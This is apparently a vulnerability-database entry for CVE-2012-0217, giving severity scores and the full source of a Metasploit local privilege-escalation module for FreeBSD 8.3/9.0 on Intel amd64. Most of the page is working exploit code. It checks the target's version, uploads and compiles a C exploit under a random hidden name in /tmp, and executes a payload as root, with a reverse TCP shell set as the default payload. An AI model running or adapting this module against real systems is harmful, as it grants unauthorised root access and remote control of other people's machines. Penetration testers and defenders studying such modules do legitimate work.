7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.001 Low
EPSS
Percentile
21.8%
This module exploits a vulnerability in the FreeBSD kernel, when running on 64-bit Intel processors. By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 8.3-RELEASE (amd64); and FreeBSD 9.0-RELEASE (amd64).
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD kernel,
when running on 64-bit Intel processors.
By design, 64-bit processors following the X86-64 specification will
trigger a general protection fault (GPF) when executing a SYSRET
instruction with a non-canonical address in the RCX register.
However, Intel processors check for a non-canonical address prior to
dropping privileges, causing a GPF in privileged mode. As a result,
the current userland RSP stack pointer is restored and executed,
resulting in privileged code execution.
This module has been tested successfully on:
FreeBSD 8.3-RELEASE (amd64); and
FreeBSD 9.0-RELEASE (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rafal Wojtczuk', # Discovery
'John Baldwin', # Discovery
'iZsh', # Exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2012-06-12',
'Platform' => ['bsd'], # FreeBSD
'Arch' => [ARCH_X64],
'SessionTypes' => ['shell'],
'References' =>
[
['BID', '53856'],
['CVE', '2012-0217'],
['EDB', '28718'],
['PACKETSTORM', '113584'],
['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
],
'Targets' =>
[
['Automatic', {}]
],
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
'DefaultTarget' => 0
)
)
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end
def upload_and_compile(path, data, _cc_args = '')
upload("#{path}.c", data)
cc_cmd = "cc -o #{path} #{path}.c"
if session.type.eql?('shell')
cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}"
end
output = cmd_exec(cc_cmd)
unless output.blank?
print_error(output)
fail_with(Failure::Unknown, "#{path}.c failed to compile")
end
register_file_for_cleanup(path)
chmod(path)
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
def check
kernel_release = cmd_exec('uname -r').to_s
unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
end
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
kernel_arch = cmd_exec('uname -m').to_s
unless kernel_arch.include?('64')
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
end
vprint_good("System architecture #{kernel_arch} is supported")
hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
unless hw_model.downcase.include?('intel')
return CheckCode::Safe("#{hw_model} is not vulnerable")
end
vprint_good("#{hw_model} is vulnerable")
CheckCode::Appears
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
# Upload and compile exploit executable
executable_name = ".#{rand_text_alphanumeric(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_compile(executable_path, strip_comments(exploit_data('cve-2012-0217', 'sysret.c')), '-Wall')
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(payload_path, generate_payload_exe)
# Launch exploit
print_status('Launching exploit...')
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status line.chomp }
unless is_root?
fail_with(Failure::Unknown, 'Exploitation failed')
end
print_good('Success! Executing payload...')
cmd_exec("#{payload_path} & echo ")
end
end